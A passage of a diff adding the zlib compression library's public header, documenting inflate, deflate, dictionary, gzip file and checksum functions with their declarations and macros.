avail_out are unchanged.) +*/ + + +ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush)); +/* + inflate decompresses as much data as possible, and stops when the input + buffer becomes empty or the output buffer becomes full. It may some + introduce some output latency (reading input without producing any output) + except when forced to flush. + + The detailed semantics are as follows. inflate performs one or both of the + following actions: + + - Decompress more input starting at next_in and update next_in and avail_in + accordingly. If not all input can be processed (because there is not + enough room in the output buffer), next_in is updated and processing + will resume at this point for the next call of inflate(). + + - Provide more output starting at next_out and update next_out and avail_out + accordingly. inflate() provides as much output as possible, until there + is no more input data or no more space in the output buffer (see below + about the flush parameter). + + Before the call of inflate(), the application should ensure that at least + one of the actions is possible, by providing more input and/or consuming + more output, and updating the next_* and avail_* values accordingly. + The application can consume the uncompressed output when it wants, for + example when the output buffer is full (avail_out == 0), or after each + call of inflate(). If inflate returns Z_OK and with zero avail_out, it + must be called again after making room in the output buffer because there + might be more output pending. + + If the parameter flush is set to Z_SYNC_FLUSH, inflate flushes as much + output as possible to the output buffer. The flushing behavior of inflate is + not specified for values of the flush parameter other than Z_SYNC_FLUSH + and Z_FINISH, but the current implementation actually flushes as much output + as possible anyway. + + inflate() should normally be called until it returns Z_STREAM_END or an + error. However if all decompression is to be performed in a single step + (a single call of inflate), the parameter flush should be set to + Z_FINISH. In this case all pending input is processed and all pending + output is flushed; avail_out must be large enough to hold all the + uncompressed data. (The size of the uncompressed data may have been saved + by the compressor for this purpose.) The next operation on this stream must + be inflateEnd to deallocate the decompression state. The use of Z_FINISH + is never required, but can be used to inform inflate that a faster routine + may be used for the single inflate() call. + + If a preset dictionary is needed at this point (see inflateSetDictionary + below), inflate sets strm-adler to the adler32 checksum of the + dictionary chosen by the compressor and returns Z_NEED_DICT; otherwise + it sets strm->adler to the adler32 checksum of all output produced + so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or + an error code as described below. At the end of the stream, inflate() + checks that its computed adler32 checksum is equal to that saved by the + compressor and returns Z_STREAM_END only if the checksum is correct. + + inflate() returns Z_OK if some progress has been made (more input processed + or more output produced), Z_STREAM_END if the end of the compressed data has + been reached and all uncompressed output has been produced, Z_NEED_DICT if a + preset dictionary is needed at this point, Z_DATA_ERROR if the input data was + corrupted (input stream not conforming to the zlib format or incorrect + adler32 checksum), Z_STREAM_ERROR if the stream structure was inconsistent + (for example if next_in or next_out was NULL), Z_MEM_ERROR if there was not + enough memory, Z_BUF_ERROR if no progress is possible or if there was not + enough room in the output buffer when Z_FINISH is used. In the Z_DATA_ERROR + case, the application may then call inflateSync to look for a good + compression block. +*/ + + +ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm)); +/* + All dynamically allocated data structures for this stream are freed. + This function discards any unprocessed input and does not flush any + pending output. + + inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state + was inconsistent. In the error case, msg may be set but then points to a + static string (which must not be deallocated). +*/ + + /* Advanced functions */ + +/* + The following functions are needed only in some special applications. +*/ + +/* +ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm, + int level, + int method, + int windowBits, + int memLevel, + int strategy)); + + This is another version of deflateInit with more compression options. The + fields next_in, zalloc, zfree and opaque must be initialized before by + the caller. + + The method parameter is the compression method. It must be Z_DEFLATED in + this version of the library. + + The windowBits parameter is the base two logarithm of the window size + (the size of the history buffer). It should be in the range 8..15 for this + version of the library. Larger values of this parameter result in better + compression at the expense of memory usage. The default value is 15 if + deflateInit is used instead. + + The memLevel parameter specifies how much memory should be allocated + for the internal compression state. memLevel=1 uses minimum memory but + is slow and reduces compression ratio; memLevel=9 uses maximum memory + for optimal speed. The default value is 8. See zconf.h for total memory + usage as a function of windowBits and memLevel. + + The strategy parameter is used to tune the compression algorithm. Use the + value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a + filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no + string match). Filtered data consists mostly of small values with a + somewhat random distribution. In this case, the compression algorithm is + tuned to compress them better. The effect of Z_FILTERED is to force more + Huffman coding and less string matching; it is somewhat intermediate + between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects + the compression ratio but not the correctness of the compressed output even + if it is not set appropriately. + + deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_STREAM_ERROR if a parameter is invalid (such as an invalid + method). msg is set to null if there is no error message. deflateInit2 does + not perform any compression: this will be done by deflate(). +*/ + +ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm, + const Bytef *dictionary, + uInt dictLength)); +/* + Initializes the compression dictionary from the given byte sequence + without producing any compressed output. This function must be called + immediately after deflateInit, deflateInit2 or deflateReset, before any + call of deflate. The compressor and decompressor must use exactly the same + dictionary (see inflateSetDictionary). + + The dictionary should consist of strings (byte sequences) that are likely + to be encountered later in the data to be compressed, with the most commonly + used strings preferably put towards the end of the dictionary. Using a + dictionary is most useful when the data to be compressed is short and can be + predicted with good accuracy; the data can then be compressed better than + with the default empty dictionary. + + Depending on the size of the compression data structures selected by + deflateInit or deflateInit2, a part of the dictionary may in effect be + discarded, for example if the dictionary is larger than the window size in + deflate or deflate2. Thus the strings most likely to be useful should be + put at the end of the dictionary, not at the front. + + Upon return of this function, strm->adler is set to the Adler32 value + of the dictionary; the decompressor may later use this value to determine + which dictionary has been used by the compressor. (The Adler32 value + applies to the whole dictionary even if only a subset of the dictionary is + actually used by the compressor.) + + deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a + parameter is invalid (such as NULL dictionary) or the stream state is + inconsistent (for example if deflate has already been called for this stream + or if the compression method is bsort). deflateSetDictionary does not + perform any compression: this will be done by deflate(). +*/ + +ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest, + z_streamp source)); +/* + Sets the destination stream as a complete copy of the source stream. + + This function can be useful when several compression strategies will be + tried, for example when there are several ways of pre-processing the input + data with a filter. The streams that will be discarded should then be freed + by calling deflateEnd. Note that deflateCopy duplicates the internal + compression state which can be quite large, so this strategy is slow and + can consume lots of memory. + + deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_STREAM_ERROR if the source stream state was inconsistent + (such as zalloc being NULL). msg is left unchanged in both source and + destination. +*/ + +ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm)); +/* + This function is equivalent to deflateEnd followed by deflateInit, + but does not free and reallocate all the internal compression state. + The stream will keep the same compression level and any other attributes + that may have been set by deflateInit2. + + deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source + stream state was inconsistent (such as zalloc or state being NULL). +*/ + +ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm, + int level, + int strategy)); +/* + Dynamically update the compression level and compression strategy. The + interpretation of level and strategy is as in deflateInit2. This can be + used to switch between compression and straight copy of the input data, or + to switch to a different kind of input data requiring a different + strategy. If the compression level is changed, the input available so far + is compressed with the old level (and may be flushed); the new level will + take effect only at the next call of deflate(). + + Before the call of deflateParams, the stream state must be set as for + a call of deflate(), since the currently available input may have to + be compressed and flushed. In particular, strm->avail_out must be non-zero. + + deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source + stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR + if strm->avail_out was zero. +*/ + +/* +ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm, + int windowBits)); + + This is another version of inflateInit with an extra parameter. The + fields next_in, avail_in, zalloc, zfree and opaque must be initialized + before by the caller. + + The windowBits parameter is the base two logarithm of the maximum window + size (the size of the history buffer). It should be in the range 8..15 for + this version of the library. The default value is 15 if inflateInit is used + instead. If a compressed stream with a larger window size is given as + input, inflate() will return with the error code Z_DATA_ERROR instead of + trying to allocate a larger window. + + inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_STREAM_ERROR if a parameter is invalid (such as a negative + memLevel). msg is set to null if there is no error message. inflateInit2 + does not perform any decompression apart from reading the zlib header if + present: this will be done by inflate(). (So next_in and avail_in may be + modified, but next_out and avail_out are unchanged.) +*/ + +ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm, + const Bytef *dictionary, + uInt dictLength)); +/* + Initializes the decompression dictionary from the given uncompressed byte + sequence. This function must be called immediately after a call of inflate + if this call returned Z_NEED_DICT. The dictionary chosen by the compressor + can be determined from the Adler32 value returned by this call of + inflate. The compressor and decompressor must use exactly the same + dictionary (see deflateSetDictionary). + + inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a + parameter is invalid (such as NULL dictionary) or the stream state is + inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the + expected one (incorrect Adler32 value). inflateSetDictionary does not + perform any decompression: this will be done by subsequent calls of + inflate(). +*/ + +ZEXTERN int ZEXPORT inflateSync OF((z_streamp strm)); +/* + Skips invalid compressed data until a full flush point (see above the + description of deflate with Z_FULL_FLUSH) can be found, or until all + available input is skipped. No output is provided. + + inflateSync returns Z_OK if a full flush point has been found, Z_BUF_ERROR + if no more input was provided, Z_DATA_ERROR if no flush point has been found, + or Z_STREAM_ERROR if the stream structure was inconsistent. In the success + case, the application may save the current current value of total_in which + indicates where valid compressed data was found. In the error case, the + application may repeatedly call inflateSync, providing more input each time, + until success or end of the input data. +*/ + +ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm)); +/* + This function is equivalent to inflateEnd followed by inflateInit, + but does not free and reallocate all the internal decompression state. + The stream will keep attributes that may have been set by inflateInit2. + + inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source + stream state was inconsistent (such as zalloc or state being NULL). +*/ + + + /* utility functions */ + +/* + The following utility functions are implemented on top of the + basic stream-oriented functions. To simplify the interface, some + default options are assumed (compression level and memory usage, + standard memory allocation functions). The source code of these + utility functions can easily be modified if you need special options. +*/ + +ZEXTERN int ZEXPORT compress OF((Bytef *dest, uLongf *destLen, + const Bytef *source, uLong sourceLen)); +/* + Compresses the source buffer into the destination buffer. sourceLen is + the byte length of the source buffer. Upon entry, destLen is the total + size of the destination buffer, which must be at least 0.1% larger than + sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the + compressed buffer. + This function can be used to compress a whole file at once if the + input file is mmap'ed. + compress returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_BUF_ERROR if there was not enough room in the output + buffer. +*/ + +ZEXTERN int ZEXPORT compress2 OF((Bytef *dest, uLongf *destLen, + const Bytef *source, uLong sourceLen, + int level)); +/* + Compresses the source buffer into the destination buffer. The level + parameter has the same meaning as in deflateInit. sourceLen is the byte + length of the source buffer. Upon entry, destLen is the total size of the + destination buffer, which must be at least 0.1% larger than sourceLen plus + 12 bytes. Upon exit, destLen is the actual size of the compressed buffer. + + compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_BUF_ERROR if there was not enough room in the output buffer, + Z_STREAM_ERROR if the level parameter is invalid. +*/ + +ZEXTERN int ZEXPORT uncompress OF((Bytef *dest, uLongf *destLen, + const Bytef *source, uLong sourceLen)); +/* + Decompresses the source buffer into the destination buffer. sourceLen is + the byte length of the source buffer. Upon entry, destLen is the total + size of the destination buffer, which must be large enough to hold the + entire uncompressed data. (The size of the uncompressed data must have + been saved previously by the compressor and transmitted to the decompressor + by some mechanism outside the scope of this compression library.) + Upon exit, destLen is the actual size of the compressed buffer. + This function can be used to decompress a whole file at once if the + input file is mmap'ed. + + uncompress returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_BUF_ERROR if there was not enough room in the output + buffer, or Z_DATA_ERROR if the input data was corrupted. +*/ + + +typedef voidp gzFile; + +ZEXTERN gzFile ZEXPORT gzopen OF((const char *path, const char *mode)); +/* + Opens a gzip (.gz) file for reading or writing. The mode parameter + is as in fopen ("rb" or "wb") but can also include a compression level + ("wb9") or a strategy: 'f' for filtered data as in "wb6f", 'h' for + Huffman only compression as in "wb1h". (See the description + of deflateInit2 for more information about the strategy parameter.) + + gzopen can be used to read a file which is not in gzip format; in this + case gzread will directly read from the file without decompression. + + gzopen returns NULL if the file could not be opened or if there was + insufficient memory to allocate the (de)compression state; errno + can be checked to distinguish the two cases (if errno is zero, the + zlib error is Z_MEM_ERROR). */ + +ZEXTERN gzFile ZEXPORT gzdopen OF((int fd, const char *mode)); +/* + gzdopen() associates a gzFile with the file descriptor fd. File + descriptors are obtained from calls like open, dup, creat, pipe or + fileno (in the file has been previously opened with fopen). + The mode parameter is as in gzopen. + The next call of gzclose on the returned gzFile will also close the + file descriptor fd, just like fclose(fdopen(fd), mode) closes the file + descriptor fd. If you want to keep fd open, use gzdopen(dup(fd), mode). + gzdopen returns NULL if there was insufficient memory to allocate + the (de)compression state. +*/ + +ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy)); +/* + Dynamically update the compression level or strategy. See the description + of deflateInit2 for the meaning of these parameters. + gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not + opened for writing. +*/ + +ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len)); +/* + Reads the given number of uncompressed bytes from the compressed file. + If the input file was not in gzip format, gzread copies the given number + of bytes into the buffer. + gzread returns the number of uncompressed bytes actually read (0 for + end of file, -1 for error). */ + +ZEXTERN int ZEXPORT gzwrite OF((gzFile file, + const voidp buf, unsigned len)); +/* + Writes the given number of uncompressed bytes into the compressed file. + gzwrite returns the number of uncompressed bytes actually written + (0 in case of error). +*/ + +ZEXTERN int ZEXPORTVA gzprintf OF((gzFile file, const char *format, ...)); +/* + Converts, formats, and writes the args to the compressed file under + control of the format string, as in fprintf. gzprintf returns the number of + uncompressed bytes actually written (0 in case of error). +*/ + +ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s)); +/* + Writes the given null-terminated string to the compressed file, excluding + the terminating null character. + gzputs returns the number of characters written, or -1 in case of error. +*/ + +ZEXTERN char * ZEXPORT gzgets OF((gzFile file, char *buf, int len)); +/* + Reads bytes from the compressed file until len-1 characters are read, or + a newline character is read and transferred to buf, or an end-of-file + condition is encountered. The string is then terminated with a null + character. + gzgets returns buf, or Z_NULL in case of error. +*/ + +ZEXTERN int ZEXPORT gzputc OF((gzFile file, int c)); +/* + Writes c, converted to an unsigned char, into the compressed file. + gzputc returns the value that was written, or -1 in case of error. +*/ + +ZEXTERN int ZEXPORT gzgetc OF((gzFile file)); +/* + Reads one byte from the compressed file. gzgetc returns this byte + or -1 in case of end of file or error. +*/ + +ZEXTERN int ZEXPORT gzflush OF((gzFile file, int flush)); +/* + Flushes all pending output into the compressed file. The parameter + flush is as in the deflate() function. The return value is the zlib + error number (see function gzerror below). gzflush returns Z_OK if + the flush parameter is Z_FINISH and all output could be flushed. + gzflush should be called only when strictly necessary because it can + degrade compression. +*/ + +ZEXTERN z_off_t ZEXPORT gzseek OF((gzFile file, + z_off_t offset, int whence)); +/* + Sets the starting position for the next gzread or gzwrite on the + given compressed file. The offset represents a number of bytes in the + uncompressed data stream. The whence parameter is defined as in lseek(2); + the value SEEK_END is not supported. + If the file is opened for reading, this function is emulated but can be + extremely slow. If the file is opened for writing, only forward seeks are + supported; gzseek then compresses a sequence of zeroes up to the new + starting position. + + gzseek returns the resulting offset location as measured in bytes from + the beginning of the uncompressed stream, or -1 in case of error, in + particular if the file is opened for writing and the new starting position + would be before the current position. +*/ + +ZEXTERN int ZEXPORT gzrewind OF((gzFile file)); +/* + Rewinds the given file. This function is supported only for reading. + + gzrewind(file) is equivalent to (int)gzseek(file, 0L, SEEK_SET) +*/ + +ZEXTERN z_off_t ZEXPORT gztell OF((gzFile file)); +/* + Returns the starting position for the next gzread or gzwrite on the + given compressed file. This position represents a number of bytes in the + uncompressed data stream. + + gztell(file) is equivalent to gzseek(file, 0L, SEEK_CUR) +*/ + +ZEXTERN int ZEXPORT gzeof OF((gzFile file)); +/* + Returns 1 when EOF has previously been detected reading the given + input stream, otherwise zero. +*/ + +ZEXTERN int ZEXPORT gzclose OF((gzFile file)); +/* + Flushes all pending output if necessary, closes the compressed file + and deallocates all the (de)compression state. The return value is the zlib + error number (see function gzerror below). +*/ + +ZEXTERN const char * ZEXPORT gzerror OF((gzFile file, int *errnum)); +/* + Returns the error message for the last error which occurred on the + given compressed file. errnum is set to zlib error number. If an + error occurred in the file system and not in the compression library, + errnum is set to Z_ERRNO and the application may consult errno + to get the exact error code. +*/ + + /* checksum functions */ + +/* + These functions are not related to compression but are exported + anyway because they might be useful in applications using the + compression library. +*/ + +ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len)); + +/* + Update a running Adler-32 checksum with the bytes buf[0..len-1] and + return the updated checksum. If buf is NULL, this function returns + the required initial value for the checksum. + An Adler-32 checksum is almost as reliable as a CRC32 but can be computed + much faster. Usage example: + + uLong adler = adler32(0L, Z_NULL, 0); + + while (read_buffer(buffer, length) != EOF) { + adler = adler32(adler, buffer, length); + } + if (adler != original_adler) error(); +*/ + +ZEXTERN uLong ZEXPORT crc32 OF((uLong crc, const Bytef *buf, uInt len)); +/* + Update a running crc with the bytes buf[0..len-1] and return the updated + crc. If buf is NULL, this function returns the required initial value + for the crc. Pre- and post-conditioning (one's complement) is performed + within this function so it shouldn't be done by the application. + Usage example: + + uLong crc = crc32(0L, Z_NULL, 0); + + while (read_buffer(buffer, length) != EOF) { + crc = crc32(crc, buffer, length); + } + if (crc != original_crc) error(); +*/ + + + /* various hacks, don't look :) */ + +/* deflateInit and inflateInit are macros to allow checking the zlib version + * and the compiler's view of z_stream: + */ +ZEXTERN int ZEXPORT deflateInit_ OF((z_streamp strm, int level, + const char *version, int stream_size)); +ZEXTERN int ZEXPORT inflateInit_ OF((z_streamp strm, + const char *version, int stream_size)); +ZEXTERN int ZEXPORT deflateInit2_ OF((z_streamp strm, int level, int method, + int windowBits, int memLevel, + int strategy, const char *version, + int stream_size)); +ZEXTERN int ZEXPORT inflateInit2_ OF((z_streamp strm, int windowBits, + const char *version, int stream_size)); +#define deflateInit(strm, level) \ + deflateInit_((strm), (level), ZLIB_VERSION, sizeof(z_stream)) +#define inflateInit(strm) \ + inflateInit_((strm), ZLIB_VERSION, sizeof(z_stream)) +#define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \ + deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\ + (strategy), ZLIB_VERSION, sizeof(z_stream)) +#define inflateInit2(strm, windowBits) \ + inflateInit2_((strm), (windowBits), ZLIB_VERSION, sizeof(z_stream)) + + +#if !defined(_Z_UTIL_H) && !defined(NO_DUMMY_DECL) + struct internal_state {int dummy;}; /* hack for buggy compilers */ +#endif + +ZEXTERN const char * ZEXPORT zError OF((int err)); +ZEXTERN int ZEXPORT inflateSyncPoint OF((z_streamp z)); +ZEXTERN const uLongf * ZEXPORT get_crc_table OF((void)); + +#ifdef __cplusplus +} +#endif + +#endif /* _ZLIB_H */